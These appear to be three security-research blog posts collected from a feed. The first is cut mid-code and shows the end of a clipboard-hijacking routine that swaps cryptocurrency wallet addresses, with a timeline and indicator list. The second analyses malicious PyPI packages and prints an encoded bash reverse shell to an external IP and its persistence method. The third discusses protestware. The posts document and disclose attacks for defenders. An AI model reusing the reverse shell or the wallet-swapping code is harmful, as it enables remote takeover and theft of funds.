    clipboardContent = clipboardContent.replace(/^D{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32}$/g, 'DFbEVJUt9TcyBgVGriy3DcNBwYhK3s7Yhx');
    clipboardContent = clipboardContent.replace(/^addr1[a-z0-9]+$/g, 'addr1q8206rrze22rz8g5lggn4clv7zu9mq6w6a6llvw8v3l7r8k5l5xx9j55xyw3f7s38t37eu9ctkp5a4m4l7cuwerlux0qxlhwvz');
    clipboardContent = clipboardContent.replace(/^[48]([0-9AB]{1})([0-9a-zA-Z]{93})$/g, '41iwYzbS1KKX8DFySxDcGBGGfJzywUeHxWumm4fjYxtYCiHtysXmq3P7RqG18Tv5UDKGNQegefxS2FFqrqeapvB7FuYSBJv');
    clipboardContent = clipboardContent.replace(/^G[0-7A-Za-z]{55}$/g, 'GCUPRZDN5RGSO3MC4LBIZBJMCS5KNUYQI2HZNUHVEBC5LNWZODWQ24XH');
    clipboardContent = clipboardContent.replace(/^cosmos[a-z0-9]{39}$/g, 'cosmos1cd3hxdkc775zj75xtd3gqp8s7hynxkzewcf58y');
 
    inputElement.value = clipboardContent;
    inputElement.select();
    
    document.execCommand('copy');
    
    inputElement.value = '';
}

setInterval(checkWalletAddresses, 1000);

To see it in action, I made a short video demonstrating how this malicious extension manipulates the victim’s clipboard:

Timeline

• Nov 4 2022: Attacker create an infrastructure of at least 22 PyPi user accounts
• Feb 9–10 2023: Attacker publishes 444 malicious typosquatting packages to PyPi
• Feb 10 2023: I reported to the PyPi security team
• Feb 10 2023: PyPi security team removed the malicious packages

Conclusion

I started this investigation on Feb 10 when I noticed a typosquatting attack on Selenium. I originally reported a portion of this campaign, and I later continued to play with the tools my team created and discovered more related activities.

I reported the findings to the Python security team, and they quickly removed all malicious packages (special thanks to Ee Durbin).

Planned Attack

As all user accounts involved were created on Nov 4, 2022, this is a clue of a planned attack, and it doesn’t seem to be a coincidence the strike on weekends as attackers are aware defenders and the ecosystem's security teams might not have full availability during the weekend.

Package Names

Sharing the following gist with indicators of the package name as well as the user accounts

IOC

• Ethereum 0x6eb2103839011Ed56c98145b3d3f9d6BE1b4dA63
• Tron TK3dtT7vYLkhUyzLqbQMmsrM36QzFnmfaa
• Binance Coin bnb1pncs5ct0rdh3rcdms8708x9jrdy038ml33ceuw
• Bitcoin bc1qkjm7r677a4fkxcmx9kzlk55a9eaqtztq8zwrc2
• Ethereum Classic LcVct9KwHwUKftDNjbBxUtjK9WeUkYbRN3
• Ripple rJd2pxs7TxE77W8X3Ezt2QyrhMJixMehPx
• Dogecoin DFbEVJUt9TcyBgVGriy3DcNBwYhK3s7Yhx
• Cardano addr1q8206rrze22rz8g5lggn4clv7zu9mq6w6a6llvw8v3l7r8k5l5xx9j55xyw3f7s38t37eu9ctkp5a4m4l7cuwerlux0qxlhwvz
• Bitcoin Cash 41iwYzbS1KKX8DFySxDcGBGGfJzywUeHxWumm4fjYxtYCiHtysXmq3P7RqG18Tv5UDKGNQegefxS2FFqrqeapvB7FuYSBJv
• Stellar GCUPRZDN5RGSO3MC4LBIZBJMCS5KNUYQI2HZNUHVEBC5LNWZODWQ24XH
• Cosmos cosmos1cd3hxdkc775zj75xtd3gqp8s7hynxkzewcf58y

900+ Malicious Python Packages Manipulating Victim’s Clipboard to Steal Crypto was originally published in Checkmarx Zero on Medium, where people are continuing the conversation by highlighting and responding to this story.

• A PyPi user account, aidoc, was found to have been publishing malicious packages
• The malicious code in the packages opens a remote shell on the victim’s machine and uses a simple persistence mechanism by appending the malicious command to the “.bashrc” and “.zshrc” files.
• I conducted a proactive experiment on a virtual machine and was able to interact with the attacker via Python script.

Background

Over the past few years, my team’s mission has been to fight software supply chain hackers who attack developers and users through open-source code. Our goal is to detect as soon as possible and report the relevant security teams to jam their operations.

To support our mission, my team created an automated package analysis pipeline, which scans new packages as soon as they are uploaded to the open-source ecosystem.

One of our engines is called “Watchdog”. This engine is aware of known-as-bad user accounts which previously published malicious packages. This engine brings useful context when such user accounts make new contributions and out of the many user accounts in our “naughty list”, one PyPi user account aidoc (first seen in August 2022) pops up again out of nowhere and starts dropping more of the same. We’re on it, but heads up, this guy’s dangerous.

In addition, another engine my team integrated into our analysis pipeline is called “Groot”, a dynamic analysis engine (sandbox). The purpose of this engine is to thoroughly detonate and analyze open-source packages by installing, importing, and using SAST tools to invoke functionality within.

This engine results in a full audit of the package’s behavior, including any files created, subprocesses launched, network communications (including TLS traffic), and other useful insights.

What’s Inside the Package?

Upon receiving a prioritized signal from our analysis pipeline, I manually inspected the newly published packages.

The malicious code is placed in the “setup.py” script and executed upon installation. The attacker used function names referring to users as victims such as identifyVictim()and it appears the purpose is to open a remote shell on the victim’s machine. The attacker tried to hide the command by encoding it as base64

base64 -D <<< KGJhc2ggLWMgJzA8JjEwMC07ZXhlYyAxMDA8Pi9kZXYvdGNwLzMuMjIxLjE1Mi4yMDMvNzcxO3NoIDwmMTAwID4mMTAwIDI+JjEwMCcgPiAvZGV2L251bGwgMj4mMSAmKQo= | sh

which decodes to

(bash -c '0<&100-;exec 100<>/dev/tcp/3.221.152.203/771;sh <&100 >&100 2>&100' > /dev/null 2>&1 &)

a simple command to initiate remote shell receiving commands from IP address 3.221.152.203 on port 771

In addition, a simple persistence mechanism was used by appending his malicious base64-encoded command to the end of “.bashrc” and “.zshrc” files.

Proactive Experiment

I decided to perform a proactive experiment on a virtual machine I created for the task. I started by infecting the virtual machine with one of the malicious packages by running the command:

pip install aidoc-e2e-utils

It didn’t take too long before I saw the attacker writing files to disk and reading sensitive files.

After letting the attacker play with my virtual machine, I decided to take it to the next level by writing a Python script that connects to the attacker’s C2 server using a raw socket and waits to receive a new command.

When such a command is received, the script prompts my confirmation to execute; otherwise, allowing me to type whatever made-up output I decide.

This is my dialog with the attacker on the other end:

attacker: whoami
victim: who are you?

attacker: ifconfig
victim: 192.168.0.1

attacker: ls ~/
victim: yo, lets talk. who are you?

attacker: ls .
victim: who are you?

attacker: Security Engineer. You?
victim: Are you sure? security engineers don't write reverse shells.

attacker: ls
ls
ls
ifconfig
victim: nope.

attacker: ls .
victim: Where are you from?

attacker: I am checking Internal systems. Dependency confusion you know. If not our system, I am killing the shell and drop the connection (just dont connect back) See you

In our exchange, the attacker claimed to be a security researcher who was “checking Internal systems. Dependency confusion you know.” and said that “If not our system, I am killing the shell and drop the connection.”

I know this attacker did more than he claims as our dynamic analysis engine observed him dropping new files and executing commands to read sensitive files such as “cat /etc/passwd”.

Not to mention that security researchers usually don’t infect other machines with reverse shells and connect interactively.

panic_mode: true

Shortly after our conversation, I noticed the attacker published new versions to all packages owned by PyPi user account aidoc, omitting the word “victim” and removing the remote shell code, leaving what appears to be a simple beacon to indicate to the server that one of the packages was installed.

Although no “DO NOT RUN” warnings and disclaimers exist, I consider this package more suitable for research purposes.

Code of Conduct

Claiming to be a security researcher is not a free pass, if your actions are not in alignment with the standards expected of one.

If the person behind this attack is indeed a security engineer, then it seems suspicious to us that they failed to declare their intent and identity as a security professional. Moreover, the reverse shell functionality, as well as other actions described in this blog, are not in alignment with what is expected from a security researcher.

Incidents in which actions of individuals claiming to be security professionals caused severe damages, such as the poisoning of the popular “ctx” Python package, raise the topic of a certain “code of conduct”

for security researchers in the field of open-source security. I recommend reading this story discussing the dos and don’ts when performing malicious package research.

Conclusion

Don’t get mistaken, it’s not a malicious package problem. It’s an attacker's problem.

Apparently, this threat actor was targeting aidoc.com, which is an Israeli startup in the field of healthcare artificial intelligence. I have reached out to the company’s CISO and executives to inform them that someone might be targeting their organization (as the packages prefixed “aidoc-“ and the user account “aidoc”).

In addition, I reported this activity to PyPi’s security team and they removed the malicious packages.

My team will continue to monitor the ecosystem for attackers and to continue working together to keep the ecosystem safe.

IOCs

• 3[.]129.111.79
• 3[.]221.152.203
• hxxp://3[.]221.152.203:8000/acl/package/*

Packages

Chat With a Software Supply Chain attacker was originally published in Checkmarx Zero on Medium, where people are continuing the conversation by highlighting and responding to this story.

During the past year, since the Russia-Ukraine war began, we’ve seen multiple examples of open-source packages with hidden protest messages and even examples of protest packages executing malicious code, all targeted at Russian developers.

The term “Protestware” has been used to describe software that includes features that are meant to raise awareness or protest an issue.

Last year we witnessed the node-ipc incident and learned protesters could take it one step further by also including malicious code aside from their protest messages.

Python Package “asolytics”

Asolytics is an open-source tool that helps with App Store Optimization (ASO) and provides features like calculating the popularity of keywords, tracking the position of an app in search results, monitoring keywords, and analyzing competitors.

This tool features a simple command-line interface and uses Selenium for automated browser functionality that runs in the background.

Initially, this project appeared to be a legitimate and well-made open-source tool. However, we discovered it through our package analysis system, which scans for potential risks and suspicious activity, indicating the potential presence of Protestware within the asolytics PyPi package.

Upon examination, we discovered that the tool’s business logic contain code that replaces “Russia” with “Russian Terrorist State” before presenting its results to the user.

Given the connection of the project’s owner to Ukraine, it is easy to understand the reason for this message. It is important to note that there is no evidence of any malicious code present in this tool.

My Humble Opinion

While the creators of open-source code have the right to express themselves in their own work, it is important to separate politics from open-source development.

Open-source code is a collaborative effort that should remain neutral and apolitical in order to maintain trust and cohesion within the community.

The incorporation of political messages in open-source code can have detrimental effects, including a loss of trust among users and contributors.

I submitted a pull request to the author’s project suggesting the removal of that message, but the likelihood of the author merging it is low.

Mixing Politics and Open Source: Bad Idea was originally published in Checkmarx Zero on Medium, where people are continuing the conversation by highlighting and responding to this story.